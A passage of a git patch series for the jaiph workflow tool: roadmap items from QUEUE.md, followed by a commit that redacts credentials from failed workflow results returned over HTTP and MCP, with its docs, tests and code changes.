treating or ignoring them as positionals. +- Resolve and print the effective sandbox posture once at server startup, then apply it to every call. Preserve the documented standalone-container exception where the container/pod is the sandbox. +- Decide and implement one lifecycle-hook contract for all three modes; mode differences must be explicit rather than caused by separate execution paths. +- Keep display-only options such as `--raw` and transport options such as `--host`/`--port` command-specific. + +Acceptance: + +- A table-driven integration suite runs the same sandbox/env cases through all three modes and observes the same effective child env and filesystem isolation. +- `serve --unsafe`, `serve --inplace`, `mcp --unsafe`, and `mcp --inplace` have tested effects; conflicting flags fail before spawning. +- Flags belonging to another command fail with a clear usage error. +- Hook tests prove the documented contract for direct, HTTP, and MCP invocations. +- Command help and env-var reference describe the same precedence and consent rules. + +## Give every run mode complete, bounded telemetry behavior #dev-ready + +Normal `jaiph run`, HTTP calls, and MCP calls invoke the shared OTLP/Sentry hook, but `jaiph run --raw` bypasses it while the docs claim every run is covered. OTLP and Sentry are awaited sequentially, so unavailable backends can hold a completed run and a service concurrency slot for up to 20 seconds despite being described as non-load-bearing. + +Scope: + +- Export telemetry for a user-invoked standalone `jaiph run --raw` without double-exporting the inner raw process used by host-orchestrated Docker. +- Run independent exporters concurrently under one configurable total flush budget. +- In long-lived HTTP/MCP processes, mark the run terminal and release execution concurrency before best-effort delivery; track delivery failures through bounded logging/metrics. +- Keep telemetry operator-side: `OTEL_*` and `SENTRY_*` values must not enter workflow sandboxes unless explicitly passed as workflow env. + +Acceptance: + +- Standard run, standalone raw run, MCP, and HTTP each produce one OTLP trace; each failed mode produces one Sentry event. +- A Docker-sandboxed run still exports exactly once. +- Unreachable telemetry endpoints cannot delay an HTTP/MCP terminal result or occupied execution slot beyond a small tested bound. +- Export failures never change workflow output or exit status. + +## Expose HTTP API and network MCP from one service process #dev-ready + +Today `jaiph serve` is HTTP-only and `jaiph mcp` is stdio-only. The same file can be exposed by two separate processes, but there is no single deployed company service that serves both protocols or a Kubernetes-addressable MCP endpoint. + +Scope: + +- Add standards-compliant MCP Streamable HTTP to `jaiph serve` on a documented path while retaining the existing REST/OpenAPI API. +- Reuse the same tool generation, hot reload, auth boundary, concurrency limiter, cancellation, sandbox/env policy, run IDs, artifacts, and telemetry for both transports. +- Keep `jaiph mcp` stdio for local clients; do not duplicate workflow execution logic. +- Document reverse-proxy requirements for streaming, timeouts, TLS, and authentication. + +Acceptance: + +- One process serves REST and MCP clients concurrently against the same workflow generation. +- MCP calls appear in the same run inspection API and obey the same concurrency and cancellation rules. +- Bearer auth protects both protocol surfaces on non-loopback binds. +- Docker and Kind integration tests exercise both transports from outside the container/pod. + +## Make service runs restart-safe and retry-safe #dev-ready + +Run artifacts are durable, but HTTP run discovery is only an in-memory map. Restarting the process makes completed run IDs unreachable, loses in-flight state, and makes client retries start duplicate expensive workflows. This is a single-process developer server, not yet a reliable company service contract. + +Scope: + +- Persist the public run record beside the journal and reconstruct terminal runs on startup. +- Reconcile interrupted `running` records after process death into an explicit terminal state. +- Support an idempotency key on run creation, scoped to workflow plus authenticated principal, with conflict detection for a reused key and different arguments. +- Define the supported deployment topology explicitly. If multi-replica operation is not implemented, fail/document it as single-replica and keep the Kubernetes example at one replica. + +Acceptance: + +- After restart, list/get/events/artifacts work for pre-restart terminal runs. +- A run interrupted by process death is not reported as permanently running. +- Repeating an identical create request with the same idempotency key returns the original run; changed arguments produce a conflict and never spawn. +- Recovery and idempotency survive a real process restart integration test. + +## Add production authentication, authorization, and audit identity #dev-ready + +`JAIPH_SERVE_TOKEN` is a useful fail-closed shared-secret gate, but it provides no user identity, revocation, per-action authorization, or attribution. That is insufficient when multiple company users can invoke arbitrary engineering workflows. + +Scope: + +- Keep the static bearer token as an explicit single-operator mode. +- Add a standard OIDC/JWT mode configured by issuer, audience, and JWKS discovery; use a maintained JWT library rather than custom cryptography. +- Authorize separate invoke, inspect/artifact, and cancel capabilities. +- Attach authenticated principal and request/correlation ID to run metadata, logs, OTLP resources, and Sentry tags without putting tokens or claims containing secrets into journals. +- Make exposure of `/docs` and `/openapi.json` configurable; keep health probes free of credentials and sensitive details. + +Acceptance: + +- Valid, expired, wrong-audience, wrong-issuer, unknown-key, and insufficient-scope tokens are covered by integration tests. +- A principal cannot inspect or cancel runs outside its authorization policy. +- Audit records identify who invoked and cancelled a run while never containing bearer tokens. +- Static-token mode remains tested and clearly documented as single-operator, not multi-tenant authentication. From a165cd5d9f22b7dffba89ee0e3ce9e8c22042aa1 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 12:34:55 +0200 Subject: [PATCH 07/24] Fix: redact credentials from every returned workflow result composeResult in src/cli/exec/call.ts built a failed call's text from the run's live captured output, so jaiph serve (result_text) and jaiph mcp (tool errors) could return a secret verbatim even though the event journal, OTLP, and Sentry all redacted it. The credential rule is now a single shared helper, redactCredentials, extracted from RuntimeEventEmitter into src/runtime/kernel/redact.ts and imported by both the journal writer and composeResult. composeResult redacts the fully assembled failure text once, so failed-step detail, raw stderr/stdout, and collected log messages all pass the same boundary, and the Docker --env passthrough is merged back in for redaction. Successful return values stay verbatim as intentional API output. Covered by src/cli/exec/call.test.ts and integration tests that a failing workflow echoing a credential never leaks it through ?wait=true, GET /v1/runs/{id}, or an MCP tool result. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 2 + QUEUE.md | 16 ----- docs/architecture.md | 4 +- docs/mcp.md | 2 +- docs/serve.md | 2 +- integration/mcp-server.test.ts | 32 +++++++++ integration/serve-server.test.ts | 35 ++++++++++ src/cli/exec/call.test.ts | 75 +++++++++++++++++++++ src/cli/exec/call.ts | 40 +++++++++-- src/runtime/kernel/redact.ts | 24 +++++++ src/runtime/kernel/runtime-event-emitter.ts | 18 +---- 11 files changed, 207 insertions(+), 43 deletions(-) create mode 100644 src/cli/exec/call.test.ts create mode 100644 src/runtime/kernel/redact.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 0c39e5ff..0f7a3481 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,8 @@ ## All changes +- **Fix — redact credentials from every returned workflow result, not just the durable journal:** `jaiph serve`'s `result_text` and a `jaiph mcp` tool error could return a secret that events, OTLP, and Sentry all redacted. The failure text was built in `composeResult` (`src/cli/exec/call.ts`) from the run's **live** captured output — failed-step detail, raw stderr/stdout, and collected `log` messages — whereas only the durable `run_summary.jsonl` copies were credential-redacted by `RuntimeEventEmitter`; a workflow that echoed a `*_API_KEY` / `*_TOKEN` / `*_SECRET` value to a stream and then failed leaked it verbatim through `?wait=true`, `GET /v1/runs/{id}`, and MCP tool results. The redaction rule is now **one shared helper**, `redactCredentials` (extracted from `RuntimeEventEmitter` into the new `src/runtime/kernel/redact.ts` — same credential-key suffixes, same ≥8-char threshold), imported by both the journal writer and `composeResult`. `composeResult` redacts the fully assembled failure text once, so step detail, raw streams, and logs all pass the same boundary regardless of which branch contributed them, and it does not rely on the (unredacted-at-source) live `__JAIPH_EVENT__` stream. This is the single boundary both `jaiph serve` (`result_text`) and `jaiph mcp` (tool results) return through; on the Docker path the `--env` passthrough (which flows through `DockerSpawnOptions.extraEnv`, not `runtimeEnv`) is merged back in so those values redact too. **Successful return values are unchanged:** a workflow's `return` is intentional API output, not diagnostic capture, and is returned verbatim (its `log`-output fallback, being diagnostic capture, is redacted). Tests: `src/cli/exec/call.test.ts`, and integration coverage that a failing workflow echoing a credential to both streams never exposes the value through `?wait=true`, `GET /v1/runs/{id}` (`integration/serve-server.test.ts`), or an MCP tool result (`integration/mcp-server.test.ts`) while `[REDACTED]` and the failed-step diagnostics are retained; the existing event-journal, OTLP, and Sentry redaction tests still pass. Docs: [Serve workflows over HTTP](docs/serve.md), [Call a tool and read the result](docs/mcp.md), and the redaction section of [Architecture](docs/architecture.md). + - **Feat — standalone runtime image: run jaiph in Docker/Kubernetes without a host orchestrator:** The published `ghcr.io/jaiphlang/jaiph-runtime` image (`runtime/Dockerfile`) already contained `jaiph`, the claude/cursor/codex backends, and a full toolchain, but it was only ever used as a *sandbox rootfs orchestrated by a host jaiph process*; running it directly (`docker run … jaiph run flow.jh`, or as a k8s pod) failed because jaiph defaults to Docker sandboxing on Linux and there is no Docker daemon inside the container. The image now **bakes `ENV JAIPH_UNSAFE=true`** (with a rationale comment: inside the image the container *is* the sandbox, so host-mode execution is correct and the interactive `--unsafe` confirmation is impossible/meaningless in an unattended pod), so the "put credentials + jaiph files and run it" story works on every build. **Host-orchestrated sandbox behavior is unchanged:** no `ENTRYPOINT` is added and `WORKDIR` is untouched (the host passes an explicit command argv that a prefix would corrupt), and the container-inner invocation the host uses is `jaiph run --raw`, which by contract never launches Docker regardless of `JAIPH_UNSAFE` — the full Docker e2e suite stays green with the ENV present. New `src/runtime/docker.ts` seams back the standalone story: an injectable `_containerIndicator.present()` (true when `/.dockerenv` — Docker — or `/run/.containerenv` — Podman / CRI — exists) and `isRunningInContainer()`; `checkDockerAvailable()` now, when Docker is unavailable **and** a container indicator is present, throws `E_DOCKER_NOT_FOUND … jaiph is running inside a container already. Set JAIPH_UNSAFE=true to run in host mode (the container is the sandbox). See https://jaiph.org/deploy` (covering users of derived images without the baked ENV) — with no indicator the original "Install Docker …" error is unchanged. `confirmUnsafeRun` (`src/runtime/docker-inplace.ts`) now, inside a container, proceeds with a one-line stderr notice (`running host-only inside a container (the container is the sandbox)`) instead of prompting or aborting `E_UNSAFE_NO_CONFIRM` — mirroring the win32 host-only override — which is what lets an unattended pod run. No new `JAIPH_*` env vars. Tests: `src/runtime/docker.test.ts` (indicator present → the container guidance with `JAIPH_UNSAFE=true`; indicator absent → the install-Docker error verbatim), `src/runtime/docker-inplace.test.ts` (in-container non-TTY without auto-confirm proceeds without opening a prompt and prints the notice; on a host the same conditions still throw `E_UNSAFE_NO_CONFIRM`), and a gated `e2e/tests/148_standalone_image.sh` (wired into `e2e/test_all.sh`) that runs the built image standalone on a fixture `hello.jh` with **no** `-e JAIPH_UNSAFE` and no Docker daemon inside, asserting the `return` value round-trips to `return_value.txt` and exit `0` — proving host mode comes purely from the baked ENV. CI: a new `k8s-manifest` job in `.github/workflows/ci.yml` provisions a throwaway kind cluster and runs `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` on every build. Docs: new [Deploy the runtime image standalone](docs/deploy.md) how-to (one-shot `docker run` with the claude/cursor/codex credential variants, a CI note pointing at the pattern `nightly-engineer.yml` uses, Kubernetes, and a plainly-stated **no-jaiph-sandbox security posture** — isolation is the container/pod boundary and workspace content policy is the operator's responsibility), an apply-ready `docs/deploy/k8s.yaml` (Deployment + Secret for backend credentials and `JAIPH_SERVE_TOKEN` + Service, `jaiph serve --host 0.0.0.0` with `/healthz` liveness/readiness probes, tag-pinning / TLS-via-ingress / resource-request guidance), links from README, [Sandboxing](docs/sandboxing.md), and [Install & switch versions](docs/setup.md), an updated `JAIPH_UNSAFE` row in [Environment variables](docs/env-vars.md) noting the image bakes it, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23` — "a docker image with codex/cursor/claude code already installed so that the user only needs to put the credentials + the jaiph files and run it … it can't depend on a local machine + docker".) - **Feat — OTLP trace export: one span tree per run, zero dependencies:** A completed run now exports as an OpenTelemetry trace to any OTLP/HTTP collector (a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog), so operators running workflows in CI or as a service get a per-run latency breakdown and failure signal in a standard observability stack instead of only the local run dir. Export is **host-side and end-of-run**, in the new `src/cli/telemetry/otlp.ts` (zero runtime dependencies — a `node:https`/`node:http` request is the whole transport): after a run reaches terminal state the CLI reads *that run's* `run_summary.jsonl` and posts one trace. Nothing new crosses the sandbox boundary and no `OTEL_*` variable is forwarded into the container — the journal is complete (it carries the `WORKFLOW_*`/`PROMPT_*` records the live stderr stream omits), already credential-redacted by `RuntimeEventEmitter`, and host-visible in every sandbox mode (the run dir is a host mount); runs are minutes long, so end-of-run batching is the normal OTLP pattern anyway. The pure `runSummaryToOtlp(lines, meta)` maps journal lines + `{workflow, exitStatus, signal, serviceName, resourceAttributes}` to an OTLP/HTTP **JSON** `ExportTraceServiceRequest`: **trace id** = the run-id UUID with dashes stripped (32 hex, per the spec's JSON mapping), **span id** = first 16 hex of `sha256()` — deterministic, so re-exporting a run yields byte-identical ids. One **root span** `workflow ` per run (`WORKFLOW_START`→`WORKFLOW_END` timestamps, falling back to first/last event `ts`; status `ERROR` when the run exits nonzero or a signal killed it, else `OK`; each `LOGERR`/`LOGWARN` becomes a span event on it); one **step span** per `STEP_START`/`STEP_END` pair matched by event `id`, parented via `parent_id` (root when null), `kind: SPAN_KIND_INTERNAL`, attributes `jaiph.step.{kind,func,name,seq,depth,status,elapsed_ms}` plus the redacted `jaiph.step.out`/`jaiph.step.err` captures, span status `ERROR` on a nonzero step status; **prompt spans** as children of their `step_id` with `jaiph.prompt.{backend,model,status}`. A `STEP_START` with no matching `STEP_END` (a crash) closes at the last event's `ts` with status `ERROR`; ISO `ts` → `timeUnixNano` strings. Resource attributes: `service.name` from `OTEL_SERVICE_NAME` (default `jaiph`), the `OTEL_RESOURCE_ATTRIBUTES` pairs, plus `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, `jaiph.source`. **Enablement is standard OTEL env — no new `JAIPH_*`:** export runs iff `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` (used verbatim) or `OTEL_EXPORTER_OTLP_ENDPOINT` (base URL, `/v1/traces` appended) is set (traces-specific wins when both are); `OTEL_EXPORTER_OTLP_HEADERS` (comma-separated `k=v`) is applied; only `http/json` is spoken — any other `OTEL_EXPORTER_OTLP_PROTOCOL` (e.g. `grpc`) warns on stderr and skips rather than mis-speak a protocol. A single shared hook `exportRunTelemetry({runDir, workflow, exitStatus, signal, env})` fires at every host terminal state — `jaiph run` completion (`reportResult` in `src/cli/commands/run.ts`) and the shared workflow-call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and `jaiph serve` invocation) — one choke point covering host, Docker snapshot, and inplace modes. **Telemetry is never load-bearing:** an unreachable or erroring collector (or the 10 s timeout) produces exactly one stderr warning line and leaves the run's exit code, output, and journal untouched — no retries, no queue. Tests: `src/cli/telemetry/otlp.test.ts` (fixture journals — trace id from run id, step parenting per `parent_id`, prompt child of `step_id` with backend/model, failed step → span status 2, nonzero exit → root status 2, ISO→nano strings, unmatched `STEP_START` closes ERROR at the last event time, deterministic ids across two invocations; endpoint-resolution precedence, header parsing, `http/json`-only guard) and `integration/otlp-export.test.ts` (a fake collector receives exactly one well-formed POST to `/v1/traces` after a `jaiph run` with the env set, and nothing with no OTEL env; a `500` and a connection-refused collector each leave exit `0` with exactly one stderr warning; a shared-call/MCP invocation triggers exactly one export per call; a credential echoed in step output appears in the payload only as `[REDACTED]`). `package.json` `dependencies` stays absent. Docs: new [Export traces to an OTLP collector](observability.md) how-to, a "Telemetry variables" section in [Environment variables](env-vars.md), a README feature bullet, and the features overview on `docs/index.html`. (Observability feedback `2026-07-23` — "OTEL + Sentry configurable would be the easiest way".) diff --git a/QUEUE.md b/QUEUE.md index cb144034..466be5c4 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Redact credentials from every workflow result surface #dev-ready - -`src/cli/exec/call.ts` builds failed-call text from live stderr events, while the durable journal is credential-redacted. As a result, `jaiph serve` can return a secret in `result_text` and `jaiph mcp` can return it in a tool error even though events, OTLP, and Sentry redact the same value. - -Scope: - -- Build failed-step details and other returned output from redacted data, using one redaction boundary shared by HTTP and MCP. -- Cover `failedStep.detail`, raw stderr/stdout, and collected log messages; do not rely only on the durable event endpoint. -- Keep successful return values unchanged: workflow return values are intentional API output, not diagnostic capture. - -Acceptance: - -- An integration workflow that prints a credential-like env value and fails never exposes the value through `?wait=true`, `GET /v1/runs/{id}`, or an MCP tool result. -- The same test proves `[REDACTED]` is returned where diagnostic context is retained. -- Existing event-journal, OTLP, and Sentry redaction tests still pass. - ## Keep MCP generations alive while calls are in flight #dev-ready `jaiph mcp` handles tool calls concurrently, but hot reload immediately deletes the previous generation's scripts directory. A call started just before reload can still need those scripts. Signal shutdown also removes the shared temp root without draining or cancelling active calls. `jaiph serve` already refcounts generations; MCP needs the same lifecycle guarantee. diff --git a/docs/architecture.md b/docs/architecture.md index b5c1dcf2..be4444b7 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -181,7 +181,9 @@ Before `RuntimeEventEmitter` writes an event line to `run_summary.jsonl`, it red This covers backend API keys such as `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `CURSOR_API_KEY` (the same names on the [Docker env allowlist](sandboxing.md)). -Redaction applies **only to the copies embedded in `run_summary.jsonl`**. The per-step raw capture files (`%06d-.out` / `.err`) are streamed to disk verbatim and are not redacted — treat them, and the run directory as a whole, as sensitive. +The same credential rule lives in one shared helper — **`redactCredentials`** (`src/runtime/kernel/redact.ts`) — which is also the redaction boundary for returned call results: `composeResult` (`src/cli/exec/call.ts`) redacts a failed call's diagnostic capture (failed-step detail, raw stderr/stdout, collected `log` messages) before it becomes `jaiph serve`'s `result_text` or a `jaiph mcp` tool result. A successful workflow's **return value** is intentional API output, not diagnostic capture, and is returned verbatim. + +Beyond those two boundaries (journal copies and returned call results), redaction is not applied. The per-step raw capture files (`%06d-.out` / `.err`) are streamed to disk verbatim and are not redacted — treat them, and the run directory as a whole, as sensitive. ## Channels and hooks in context diff --git a/docs/mcp.md b/docs/mcp.md index a5470f31..bdd9c959 100644 --- a/docs/mcp.md +++ b/docs/mcp.md @@ -100,7 +100,7 @@ A workflow with no parameters produces the same shape with an empty `properties` On `tools/call`, the server maps the arguments object to positional workflow arguments in declared order and runs the workflow — in a Docker sandbox or on the host, per the same env-driven selection as `jaiph run` (see [Safety posture](#safety-posture)). The result is a text content block: - **On success**, the text is the workflow's `return` value (persisted as `return_value.txt`); if the workflow returns nothing, it falls back to the workflow's `log` output, then to a `workflow completed` note. -- **On failure**, the result carries `isError: true` and text describing the failing step, its captured output, and a `run dir: ` pointer so the client can inspect the full run. +- **On failure**, the result carries `isError: true` and text describing the failing step, its captured output, and a `run dir: ` pointer so the client can inspect the full run. This failure text is **credential-redacted** (`[REDACTED]`) the same way as the event journal, so a secret echoed by a failing step is never returned to the client. The successful `return` value above is intentional API output and is returned verbatim. A **workflow failure is not a protocol error** — it comes back as a normal result with `isError: true`. Protocol-level errors (JSON-RPC `-32602`) are reserved for calls that never start: an unknown tool name, a missing or non-string required argument, or an unexpected argument key. diff --git a/docs/serve.md b/docs/serve.md index 23bef68b..c820d692 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -48,7 +48,7 @@ curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ -H 'content-type: application/json' -d '{"name":"world"}' | jq ``` -The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}`. `result_text` is the same content an MCP client sees — the workflow's `return` value, or its failure narrative. **A workflow failure is not an HTTP error:** a failed run comes back `200`/`202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run, list them with `GET /v1/runs` (newest first), and stop one with `POST /v1/runs/{id}/cancel`. +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}`. `result_text` is the same content an MCP client sees — the workflow's `return` value, or its failure narrative. Failure narratives are credential-redacted (`[REDACTED]`) the same way as the event journal; the `return` value of a successful run is intentional API output and returned verbatim. **A workflow failure is not an HTTP error:** a failed run comes back `200`/`202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run, list them with `GET /v1/runs` (newest first), and stop one with `POST /v1/runs/{id}/cancel`. ## 4. Watch a run as it executes diff --git a/integration/mcp-server.test.ts b/integration/mcp-server.test.ts index 5cb9e561..0979e2ef 100644 --- a/integration/mcp-server.test.ts +++ b/integration/mcp-server.test.ts @@ -315,6 +315,38 @@ test("jaiph mcp --env GREETING=hi: every tools/call sees the var in the result t } }); +const LEAK_FAIL_FIXTURE = [ + 'script leak_fail = `echo "stdout token $LEAK_API_KEY"; echo "stderr token $LEAK_API_KEY" >&2; exit 1`', + "# Echoes a credential to both streams then fails, to exercise tool-result redaction.", + "workflow leak_and_fail() {", + " run leak_fail()", + "}", + "", +].join("\n"); + +test("jaiph mcp: a failing tool call that prints a credential returns [REDACTED], never the value", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-mcp-redact-fail-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, LEAK_FAIL_FIXTURE); + const secret = "supersecretvalue123"; + const client = startMcp(jh, root, mcpEnv(join(root, ".jaiph/runs")), false, ["--env", `LEAK_API_KEY=${secret}`]); + try { + await initialize(client); + client.send({ jsonrpc: "2.0", id: 1, method: "tools/call", params: { name: "leak_and_fail", arguments: {} } }); + const res = await client.waitFor((m) => m.id === 1, "leak_and_fail call response"); + assert.equal(res.error, undefined, "workflow failure must not be a protocol error"); + const result = res.result as { content: Array<{ type: string; text: string }>; isError: boolean }; + assert.equal(result.isError, true); + const text = result.content[0].text; + assert.ok(!text.includes(secret), "the MCP tool result must not contain the credential"); + assert.ok(text.includes("[REDACTED]"), "diagnostic context is retained with the marker"); + assert.match(text, /failed step/, "failed-step diagnostics survive redaction"); + } finally { + await client.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + test("jaiph mcp --env GREETING (bare) forwards the host value to every call", async () => { const root = mkdtempSync(join(tmpdir(), "jaiph-mcp-env-bare-")); const jh = join(root, "tools.jh"); diff --git a/integration/serve-server.test.ts b/integration/serve-server.test.ts index 28b9b5b1..f645b456 100644 --- a/integration/serve-server.test.ts +++ b/integration/serve-server.test.ts @@ -41,6 +41,12 @@ const BASE_FIXTURE = [ ' return "done"', "}", "", + 'script leak_fail = `echo "stdout token $LEAK_API_KEY"; echo "stderr token $LEAK_API_KEY" >&2; exit 1`', + "# Echoes a credential to both streams then fails, to exercise result_text redaction.", + "workflow leak_and_fail() {", + " run leak_fail()", + "}", + "", 'script publish = `printf \'artifact-payload\' > "$JAIPH_ARTIFACTS_DIR/result.txt"`', "# Publishes a file into the run's artifacts dir.", "workflow make_artifact() {", @@ -393,6 +399,35 @@ test("jaiph serve: a credential echoed by a run is [REDACTED] in the event strea } }); +test("jaiph serve: a failing run's result_text is [REDACTED] via wait=true and GET /v1/runs/{id}", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-redact-fail-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const secret = "supersecretvalue123"; + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs")), ["--env", `LEAK_API_KEY=${secret}`]); + try { + const res = await fetch(`${srv.baseUrl}/v1/workflows/leak_and_fail/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + assert.equal(res.status, 200); + const run = await res.json(); + assert.equal(run.status, "failed"); + assert.ok(!run.result_text.includes(secret), "wait=true result_text must not contain the credential"); + assert.ok(run.result_text.includes("[REDACTED]"), "diagnostic context is retained with the marker"); + assert.match(run.result_text, /failed step/, "failed-step diagnostics survive redaction"); + + const again = await (await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}`)).json(); + assert.equal(again.status, "failed"); + assert.ok(!again.result_text.includes(secret), "GET /v1/runs/{id} result_text must not contain the credential"); + assert.ok(again.result_text.includes("[REDACTED]"), "the marker persists on the durable run object"); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + test("jaiph serve: artifacts round-trip — list then byte-identical download, traversal is 404", async () => { const root = mkdtempSync(join(tmpdir(), "jaiph-serve-art-")); const jh = join(root, "tools.jh"); diff --git a/src/cli/exec/call.test.ts b/src/cli/exec/call.test.ts new file mode 100644 index 00000000..410101e3 --- /dev/null +++ b/src/cli/exec/call.test.ts @@ -0,0 +1,75 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { composeResult, type CollectedOutput } from "./call"; + +const SECRET = "supersecretvalue123"; +const ENV: NodeJS.ProcessEnv = { LEAK_API_KEY: SECRET }; + +const OK = { status: 0, signal: null } as const; +const FAIL = { status: 1, signal: null } as const; + +function collected(partial: Partial): CollectedOutput { + return { logs: [], rawStderr: "", rawStdout: "", ...partial }; +} + +test("composeResult redacts the credential from every failure part but keeps context", () => { + const result = composeResult( + "boom", + collected({ + failedStep: { name: "script leak", detail: `token is ${SECRET}` }, + rawStderr: `stderr saw ${SECRET}`, + rawStdout: `stdout saw ${SECRET}`, + logs: [`log saw ${SECRET}`], + }), + FAIL, + "/runs/x", + undefined, + ENV, + ); + assert.equal(result.isError, true); + assert.ok(!result.text.includes(SECRET), "failure text must not contain the credential"); + assert.ok(result.text.includes("failed step: script leak"), "step context is retained"); + assert.ok(result.text.includes("token is [REDACTED]"), "step detail keeps context around the marker"); + assert.ok(result.text.includes("stderr saw [REDACTED]"), "raw stderr is redacted"); + assert.ok(result.text.includes("log output:\nlog saw [REDACTED]"), "collected logs are redacted"); + assert.ok(result.text.includes("run dir: /runs/x"), "run dir pointer is retained"); +}); + +test("composeResult redacts raw stdout on failure when it is the only detail", () => { + const result = composeResult("boom", collected({ rawStdout: `only stdout ${SECRET}` }), FAIL, undefined, undefined, ENV); + assert.ok(!result.text.includes(SECRET)); + assert.equal(result.text.includes("only stdout [REDACTED]"), true); +}); + +test("composeResult leaves non-credential env values and short credentials alone", () => { + const result = composeResult( + "boom", + collected({ rawStderr: "greeting hello-world, short abc" }), + FAIL, + undefined, + undefined, + { GREETING: "hello-world", TINY_API_KEY: "abc" }, + ); + assert.ok(result.text.includes("greeting hello-world, short abc"), "non-credential text is untouched"); +}); + +test("composeResult returns a successful return value verbatim (intentional API output)", () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-call-rv-")); + try { + writeFileSync(join(runDir, "return_value.txt"), `deploy key ${SECRET}\n`); + const result = composeResult("ok", collected({}), OK, runDir, undefined, ENV); + assert.equal(result.isError, false); + assert.equal(result.text, `deploy key ${SECRET}`, "return values are not diagnostic capture"); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("composeResult redacts the log-fallback success text (diagnostic capture)", () => { + const result = composeResult("ok", collected({ logs: [`log saw ${SECRET}`] }), OK, undefined, undefined, ENV); + assert.equal(result.isError, false); + assert.equal(result.text, "log saw [REDACTED]"); +}); diff --git a/src/cli/exec/call.ts b/src/cli/exec/call.ts index e81775c2..62ace220 100644 --- a/src/cli/exec/call.ts +++ b/src/cli/exec/call.ts @@ -17,6 +17,7 @@ import { } from "../../runtime/docker"; import { discoverDockerRunDir, remapContainerPath } from "../shared/errors"; import { exportRunTelemetry } from "../telemetry/otlp"; +import { redactCredentials } from "../../runtime/kernel/redact"; /** * Result of executing one workflow call. `text` is the same content an MCP @@ -78,7 +79,7 @@ export interface WorkflowCallEnvironment { } /** Output accumulated from a run child's streams while it executes. */ -interface CollectedOutput { +export interface CollectedOutput { logs: string[]; failedStep?: { name: string; detail: string }; rawStderr: string; @@ -152,7 +153,7 @@ async function callWorkflowHost( collector.drain(); const meta = readMetaFile(metaFile); - return composeResult(workflowSymbol, collector.data, exit, meta.runDir, undefined); + return composeResult(workflowSymbol, collector.data, exit, meta.runDir, undefined, runtimeEnv); } /** @@ -197,7 +198,12 @@ async function callWorkflowDocker( const exit = await waitForRunExit(dockerResult.child); collector.drain(); const discovered = discoverDockerRunDir(sandboxRunDir, runId); - return composeResult(workflowSymbol, collector.data, exit, discovered.runDir, sandboxRunDir); + // Docker keeps `--env` passthrough out of runtimeEnv (it flows through + // DockerSpawnOptions.extraEnv), so merge it back in for redaction. + return composeResult(workflowSymbol, collector.data, exit, discovered.runDir, sandboxRunDir, { + ...runtimeEnv, + ...env.extraEnv, + }); }); } @@ -260,13 +266,24 @@ function attachOutputCollector( }; } -/** Compose the call result text from a finished run's output + run dir. */ -function composeResult( +/** + * Compose the call result text from a finished run's output + run dir. + * + * Diagnostic capture — failed-step detail, raw stderr/stdout, and collected + * `log` messages — is credential-redacted here, the single boundary both + * `jaiph serve` (`result_text`, `?wait=true`, `GET /v1/runs/{id}`) and + * `jaiph mcp` (tool results) return through. Live `__JAIPH_EVENT__` lines are + * not redacted at the source, so this must not rely on the event stream. + * A successful workflow's return value is intentional API output, not + * diagnostic capture, and is returned verbatim. + */ +export function composeResult( workflowSymbol: string, data: CollectedOutput, exit: { status: number; signal: NodeJS.Signals | null }, runDir: string | undefined, sandboxRunDir: string | undefined, + env: NodeJS.ProcessEnv, ): WorkflowCallResult { const failed = exit.status !== 0 || exit.signal !== null; @@ -276,7 +293,7 @@ function composeResult( returnValue !== undefined && returnValue.length > 0 ? returnValue : data.logs.length > 0 - ? data.logs.join("\n") + ? redactCredentials(data.logs.join("\n"), env) : `workflow ${workflowSymbol} completed`; return { text: trimTrailingNewline(text), isError: false, runDir, exitStatus: exit.status, signal: exit.signal }; } @@ -297,7 +314,16 @@ function composeResult( if (!data.failedStep && !stderrTrimmed && stdoutTrimmed) parts.push(stdoutTrimmed); if (data.logs.length > 0) parts.push(`log output:\n${data.logs.join("\n")}`); if (runDir) parts.push(`run dir: ${runDir}`); - return { text: parts.join("\n\n"), isError: true, runDir, exitStatus: exit.status, signal: exit.signal }; + // Redact the assembled failure text once so every part — step detail, raw + // streams, and logs — passes the same boundary regardless of which branch + // contributed it. + return { + text: redactCredentials(parts.join("\n\n"), env), + isError: true, + runDir, + exitStatus: exit.status, + signal: exit.signal, + }; } function readMetaFile(metaFile: string): { runDir?: string; summaryFile?: string } { diff --git a/src/runtime/kernel/redact.ts b/src/runtime/kernel/redact.ts new file mode 100644 index 00000000..7253b28c --- /dev/null +++ 